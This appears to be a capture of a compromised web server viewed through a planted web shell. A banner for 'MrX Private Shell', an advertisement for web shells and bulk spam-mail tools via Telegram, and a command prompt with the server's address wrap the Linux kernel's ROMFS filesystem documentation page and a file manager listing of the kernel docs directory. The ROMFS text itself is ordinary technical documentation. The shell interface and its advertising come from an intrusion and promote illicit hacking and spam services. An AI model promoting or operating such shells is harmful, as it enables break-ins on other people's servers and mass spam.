__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.217.121: ~ $
<!DOCTYPE html>

<html lang="en" data-content_root="../">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />

    <title>ROMFS - ROM File System &#8212; The Linux Kernel  documentation</title>
    <link rel="stylesheet" type="text/css" href="../_static/pygments.css?v=fa44fd50" />
    <link rel="stylesheet" type="text/css" href="../_static/alabaster.css?v=3918102e" />
    <script src="../_static/documentation_options.js?v=5929fcd5"></script>
    <script src="../_static/doctools.js?v=9bcbadda"></script>
    <script src="../_static/sphinx_highlight.js?v=dc90522c"></script>
    <link rel="index" title="Index" href="../genindex.html" />
    <link rel="search" title="Search" href="../search.html" />
    <link rel="next" title="CIFS" href="smb/index.html" />
    <link rel="prev" title="User Interface for Resource Control feature (resctrl)" href="resctrl.html" />
   
  <link rel="stylesheet" href="../_static/custom.css" type="text/css" />
  

  
  

  </head><body>
  <div class="document">
    
      <div class="sphinxsidebar" role="navigation" aria-label="Main">
        <div class="sphinxsidebarwrapper">
            <p class="logo"><a href="../index.html">
              <img class="logo" src="../_static/logo.svg" alt="Logo of The Linux Kernel"/>
            </a></p>
<h1 class="logo"><a href="../index.html">The Linux Kernel</a></h1>



<p class="blurb">6.18.50</p>







<search id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>


<p>
<h3 class="kernel-toc-contents">Contents</h3>
<input type="checkbox" class="kernel-toc-toggle" id = "kernel-toc-toggle" checked>
<label class="kernel-toc-title" for="kernel-toc-toggle"></label>

<div class="kerneltoc" id="kerneltoc">
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/development-process.html">Development process</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/submitting-patches.html">Submitting patches</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/code-of-conduct.html">Code of conduct</a></li>
<li class="toctree-l1"><a class="reference internal" href="../maintainer/index.html">Maintainer handbook</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/index.html">All development-process docs</a></li>
</ul>
<ul class="current">
<li class="toctree-l1"><a class="reference internal" href="../core-api/index.html">Core API</a></li>
<li class="toctree-l1"><a class="reference internal" href="../driver-api/index.html">Driver APIs</a></li>
<li class="toctree-l1 current"><a class="reference internal" href="../subsystem-apis.html">Subsystems</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#core-subsystems">Core subsystems</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#human-interfaces">Human interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#networking-interfaces">Networking interfaces</a></li>
<li class="toctree-l2 current"><a class="reference internal" href="../subsystem-apis.html#storage-interfaces">Storage interfaces</a><ul class="current">
<li class="toctree-l3 current"><a class="reference internal" href="index.html">Filesystems in the Linux kernel</a></li>
<li class="toctree-l3"><a class="reference internal" href="../block/index.html">Block</a></li>
<li class="toctree-l3"><a class="reference internal" href="../cdrom/index.html">CD-ROM</a></li>
<li class="toctree-l3"><a class="reference internal" href="../scsi/index.html">SCSI Subsystem</a></li>
<li class="toctree-l3"><a class="reference internal" href="../target/index.html">TCM Virtual Device</a></li>
<li class="toctree-l3"><a class="reference internal" href="../nvme/index.html">NVMe Subsystem</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#other-subsystems">Other subsystems</a></li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../locking/index.html">Locking</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/license-rules.html">Licensing rules</a></li>
<li class="toctree-l1"><a class="reference internal" href="../doc-guide/index.html">Writing documentation</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/index.html">Development tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/testing-overview.html">Testing guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kernel-hacking/index.html">Hacking guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../trace/index.html">Tracing</a></li>
<li class="toctree-l1"><a class="reference internal" href="../fault-injection/index.html">Fault injection</a></li>
<li class="toctree-l1"><a class="reference internal" href="../livepatch/index.html">Livepatching</a></li>
<li class="toctree-l1"><a class="reference internal" href="../rust/index.html">Rust</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/index.html">Administration</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kbuild/index.html">Build system</a></li>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/reporting-issues.html">Reporting issues</a></li>
<li class="toctree-l1"><a class="reference internal" href="../tools/index.html">Userspace tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../userspace-api/index.html">Userspace API</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../firmware-guide/index.html">Firmware</a></li>
<li class="toctree-l1"><a class="reference internal" href="../devicetree/index.html">Firmware and Devicetree</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../arch/index.html">CPU architectures</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../staging/index.html">Unsorted documentation</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../translations/index.html">Translations</a></li>
</ul>

</div>

<script type="text/javascript"> <!--
  var sbar = document.getElementsByClassName("sphinxsidebar")[0];
  let currents = document.getElementsByClassName("current")
  if (currents.length) {
    sbar.scrollTop = currents[currents.length - 1].offsetTop;
  }
  --> </script>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../_sources/filesystems/romfs.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
        </div>
      </div>
      <div class="documentwrapper">
        <div class="bodywrapper">
          

          <div class="body" role="main">
            
  



<section id="romfs-rom-file-system">
<h1>ROMFS - ROM File System<a class="headerlink" href="#romfs-rom-file-system" title="Link to this heading">¶</a></h1>
<p>This is a quite dumb, read only filesystem, mainly for initial RAM
disks of installation disks.  It has grown up by the need of having
modules linked at boot time.  Using this filesystem, you get a very
similar feature, and even the possibility of a small kernel, with a
file system which doesn’t take up useful memory from the router
functions in the basement of your office.</p>
<p>For comparison, both the older minix and xiafs (the latter is now
defunct) filesystems, compiled as module need more than 20000 bytes,
while romfs is less than a page, about 4000 bytes (assuming i586
code).  Under the same conditions, the msdos filesystem would need
about 30K (and does not support device nodes or symlinks), while the
nfs module with nfsroot is about 57K.  Furthermore, as a bit unfair
comparison, an actual rescue disk used up 3202 blocks with ext2, while
with romfs, it needed 3079 blocks.</p>
<p>To create such a file system, you’ll need a user program named
genromfs. It is available on <a class="reference external" href="http://romfs.sourceforge.net/">http://romfs.sourceforge.net/</a></p>
<p>As the name suggests, romfs could be also used (space-efficiently) on
various read-only media, like (E)EPROM disks if someone will have the
motivation.. :)</p>
<p>However, the main purpose of romfs is to have a very small kernel,
which has only this filesystem linked in, and then can load any module
later, with the current module utilities.  It can also be used to run
some program to decide if you need SCSI devices, and even IDE or
floppy drives can be loaded later if you use the “initrd”--initial
RAM disk--feature of the kernel.  This would not be really news
flash, but with romfs, you can even spare off your ext2 or minix or
maybe even affs filesystem until you really know that you need it.</p>
<p>For example, a distribution boot disk can contain only the cd disk
drivers (and possibly the SCSI drivers), and the ISO 9660 filesystem
module.  The kernel can be small enough, since it doesn’t have other
filesystems, like the quite large ext2fs module, which can then be
loaded off the CD at a later stage of the installation.  Another use
would be for a recovery disk, when you are reinstalling a workstation
from the network, and you will have all the tools/modules available
from a nearby server, so you don’t want to carry two disks for this
purpose, just because it won’t fit into ext2.</p>
<p>romfs operates on block devices as you can expect, and the underlying
structure is very simple.  Every accessible structure begins on 16
byte boundaries for fast access.  The minimum space a file will take
is 32 bytes (this is an empty file, with a less than 16 character
name).  The maximum overhead for any non-empty file is the header, and
the 16 byte padding for the name and the contents, also 16+14+15 = 45
bytes.  This is quite rare however, since most file names are longer
than 3 bytes, and shorter than 15 bytes.</p>
<p>The layout of the filesystem is the following:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>offset     content

       +---+---+---+---+
 0     | - | r | o | m |  \
       +---+---+---+---+       The ASCII representation of those bytes
 4     | 1 | f | s | - |  /    (i.e. &quot;-rom1fs-&quot;)
       +---+---+---+---+
 8     |   full size   |       The number of accessible bytes in this fs.
       +---+---+---+---+
12     |    checksum   |       The checksum of the FIRST 512 BYTES.
       +---+---+---+---+
16     | volume name   |       The zero terminated name of the volume,
       :               :       padded to 16 byte boundary.
       +---+---+---+---+
xx     |     file      |
       :    headers    :
</pre></div>
</div>
<p>Every multi byte value (32 bit words, I’ll use the longwords term from
now on) must be in big endian order.</p>
<p>The first eight bytes identify the filesystem, even for the casual
inspector.  After that, in the 3rd longword, it contains the number of
bytes accessible from the start of this filesystem.  The 4th longword
is the checksum of the first 512 bytes (or the number of bytes
accessible, whichever is smaller).  The applied algorithm is the same
as in the AFFS filesystem, namely a simple sum of the longwords
(assuming bigendian quantities again).  For details, please consult
the source.  This algorithm was chosen because although it’s not quite
reliable, it does not require any tables, and it is very simple.</p>
<p>The following bytes are now part of the file system; each file header
must begin on a 16 byte boundary:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>offset     content

       +---+---+---+---+
 0     | next filehdr|X|       The offset of the next file header
       +---+---+---+---+         (zero if no more files)
 4     |   spec.info   |       Info for directories/hard links/devices
       +---+---+---+---+
 8     |     size      |       The size of this file in bytes
       +---+---+---+---+
12     |   checksum    |       Covering the meta data, including the file
       +---+---+---+---+         name, and padding
16     | file name     |       The zero terminated name of the file,
       :               :       padded to 16 byte boundary
       +---+---+---+---+
xx     | file data     |
       :               :
</pre></div>
</div>
<p>Since the file headers begin always at a 16 byte boundary, the lowest
4 bits would be always zero in the next filehdr pointer.  These four
bits are used for the mode information.  Bits 0..2 specify the type of
the file; while bit 4 shows if the file is executable or not.  The
permissions are assumed to be world readable, if this bit is not set,
and world executable if it is; except the character and block devices,
they are never accessible for other than owner.  The owner of every
file is user and group 0, this should never be a problem for the
intended use.  The mapping of the 8 possible values to file types is
the following:</p>
<table class="docutils align-default">
<thead>
<tr class="row-odd"><th class="head"></th>
<th class="head"></th>
<th class="head"></th>
</tr>
</thead>
<tbody>
<tr class="row-even"><td><p>0</p></td>
<td><p>hard link</p></td>
<td><p>link destination [file header]</p></td>
</tr>
<tr class="row-odd"><td><p>1</p></td>
<td><p>directory</p></td>
<td><p>first file’s header</p></td>
</tr>
<tr class="row-even"><td><p>2</p></td>
<td><p>regular file</p></td>
<td><p>unused, must be zero [MBZ]</p></td>
</tr>
<tr class="row-odd"><td><p>3</p></td>
<td><p>symbolic link</p></td>
<td><p>unused, MBZ (file data is the link content)</p></td>
</tr>
<tr class="row-even"><td><p>4</p></td>
<td><p>block device</p></td>
<td><p>16/16 bits major/minor number</p></td>
</tr>
<tr class="row-odd"><td><p>5</p></td>
<td><p>char device</p></td>
<td><ul class="simple">
<li><p>“ -</p></li>
</ul>
</td>
</tr>
<tr class="row-even"><td><p>6</p></td>
<td><p>socket</p></td>
<td><p>unused, MBZ</p></td>
</tr>
<tr class="row-odd"><td><p>7</p></td>
<td><p>fifo</p></td>
<td><p>unused, MBZ</p></td>
</tr>
</tbody>
</table>
<p>Note that hard links are specifically marked in this filesystem, but
they will behave as you can expect (i.e. share the inode number).
Note also that it is your responsibility to not create hard link
loops, and creating all the . and .. links for directories.  This is
normally done correctly by the genromfs program.  Please refrain from
using the executable bits for special purposes on the socket and fifo
special files, they may have other uses in the future.  Additionally,
please remember that only regular files, and symlinks are supposed to
have a nonzero size field; they contain the number of bytes available
directly after the (padded) file name.</p>
<p>Another thing to note is that romfs works on file headers and data
aligned to 16 byte boundaries, but most hardware devices and the block
device drivers are unable to cope with smaller than block-sized data.
To overcome this limitation, the whole size of the file system must be
padded to an 1024 byte boundary.</p>
<p>If you have any problems or suggestions concerning this file system,
please contact me.  However, think twice before wanting me to add
features and code, because the primary and most important advantage of
this file system is the small code.  On the other hand, don’t be
alarmed, I’m not getting that much romfs related mail.  Now I can
understand why Avery wrote poems in the ARCnet docs to get some more
feedback. :)</p>
<p>romfs has also a mailing list, and to date, it hasn’t received any
traffic, so you are welcome to join it to discuss your ideas. :)</p>
<p>It’s run by ezmlm, so you can subscribe to it by sending a message
to <a class="reference external" href="mailto:romfs-subscribe&#37;&#52;&#48;shadow&#46;banki&#46;hu">romfs-subscribe<span>&#64;</span>shadow<span>&#46;</span>banki<span>&#46;</span>hu</a>, the content is irrelevant.</p>
<p>Pending issues:</p>
<ul class="simple">
<li><p>Permissions and owner information are pretty essential features of a
Un*x like system, but romfs does not provide the full possibilities.
I have never found this limiting, but others might.</p></li>
<li><p>The file system is read only, so it can be very small, but in case
one would want to write _anything_ to a file system, he still needs
a writable file system, thus negating the size advantages.  Possible
solutions: implement write access as a compile-time option, or a new,
similarly small writable filesystem for RAM disks.</p></li>
<li><p>Since the files are only required to have alignment on a 16 byte
boundary, it is currently possibly suboptimal to read or execute files
from the filesystem.  It might be resolved by reordering file data to
have most of it (i.e. except the start and the end) laying at “natural”
boundaries, thus it would be possible to directly map a big portion of
the file contents to the mm subsystem.</p></li>
<li><p>Compression might be an useful feature, but memory is quite a
limiting factor in my eyes.</p></li>
<li><p>Where it is used?</p></li>
<li><p>Does it work on other architectures than intel and motorola?</p></li>
</ul>
<p>Have fun,</p>
<p>Janos Farkas &lt;<a class="reference external" href="mailto:chexum&#37;&#52;&#48;shadow&#46;banki&#46;hu">chexum<span>&#64;</span>shadow<span>&#46;</span>banki<span>&#46;</span>hu</a>&gt;</p>
</section>


          </div>
          
        </div>
      </div>
    <div class="clearer"></div>
  </div>
    <div class="footer">
      &#169;The kernel development community.
      
      |
      Powered by <a href="https://www.sphinx-doc.org/">Sphinx 8.1.3</a>
      &amp; <a href="https://alabaster.readthedocs.io">Alabaster 0.7.16</a>
      
      |
      <a href="../_sources/filesystems/romfs.rst.txt"
          rel="nofollow">Page source</a>
    </div>

    

    
  </body>
</html>

Filemanager

Name Type Size Permission Actions
caching Folder 0755
ext4 Folder 0755
fuse Folder 0755
iomap Folder 0755
nfs Folder 0755
smb Folder 0755
spufs Folder 0755
xfs Folder 0755
9p.html File 24.15 KB 0644
adfs.html File 13.15 KB 0644
affs.html File 18.5 KB 0644
afs.html File 19.14 KB 0644
api-summary.html File 831.83 KB 0644
autofs-mount-control.html File 32.3 KB 0644
autofs.html File 38.96 KB 0644
automount-support.html File 12.79 KB 0644
befs.html File 14.41 KB 0644
bfs.html File 10.72 KB 0644
btrfs.html File 9.7 KB 0644
buffer.html File 48.88 KB 0644
ceph.html File 18.87 KB 0644
coda.html File 65.97 KB 0644
configfs.html File 36.14 KB 0644
cramfs.html File 14.95 KB 0644
dax.html File 25.37 KB 0644
debugfs.html File 21.71 KB 0644
devpts.html File 10.61 KB 0644
directory-locking.html File 23.11 KB 0644
dlmfs.html File 14.28 KB 0644
dnotify.html File 12.09 KB 0644
ecryptfs.html File 11.96 KB 0644
efivarfs.html File 10 KB 0644
erofs.html File 29.42 KB 0644
ext2.html File 32.92 KB 0644
ext3.html File 8.29 KB 0644
f2fs.html File 67.87 KB 0644
fiemap.html File 23.32 KB 0644
files.html File 16.52 KB 0644
fscrypt.html File 107.9 KB 0644
fsverity.html File 64.53 KB 0644
gfs2-glocks.html File 21.71 KB 0644
gfs2-uevents.html File 12.88 KB 0644
gfs2.html File 10.38 KB 0644
hfs.html File 12.31 KB 0644
hfsplus.html File 10.28 KB 0644
hpfs.html File 26.83 KB 0644
idmappings.html File 74.42 KB 0644
index.html File 68.19 KB 0644
inotify.html File 12.35 KB 0644
isofs.html File 12.17 KB 0644
journalling.html File 115.17 KB 0644
locking.html File 52.92 KB 0644
locks.html File 11.91 KB 0644
mount_api.html File 49.94 KB 0644
multigrain-ts.html File 15 KB 0644
netfs_library.html File 86.81 KB 0644
nilfs2.html File 22.21 KB 0644
ntfs3.html File 13.64 KB 0644
ocfs2-online-filecheck.html File 13.13 KB 0644
ocfs2.html File 15.76 KB 0644
omfs.html File 13.12 KB 0644
orangefs.html File 35.89 KB 0644
overlayfs.html File 54.83 KB 0644
path-lookup.html File 123.09 KB 0644
porting.html File 94.09 KB 0644
proc.html File 140.32 KB 0644
qnx6.html File 16.36 KB 0644
quota.html File 12.12 KB 0644
ramfs-rootfs-initramfs.html File 27.94 KB 0644
relay.html File 40.38 KB 0644
resctrl.html File 93.99 KB 0644
romfs.html File 18.06 KB 0644
seq_file.html File 36.49 KB 0644
sharedsubtree.html File 46.25 KB 0644
splice.html File 79.36 KB 0644
squashfs.html File 24.34 KB 0644
sysfs.html File 29.32 KB 0644
tmpfs.html File 22.95 KB 0644
ubifs-authentication.html File 33.04 KB 0644
ubifs.html File 15.06 KB 0644
udf.html File 12.11 KB 0644
vfat.html File 26.07 KB 0644
vfs.html File 167.26 KB 0644
virtiofs.html File 12.16 KB 0644
zonefs.html File 35.71 KB 0644
Filemanager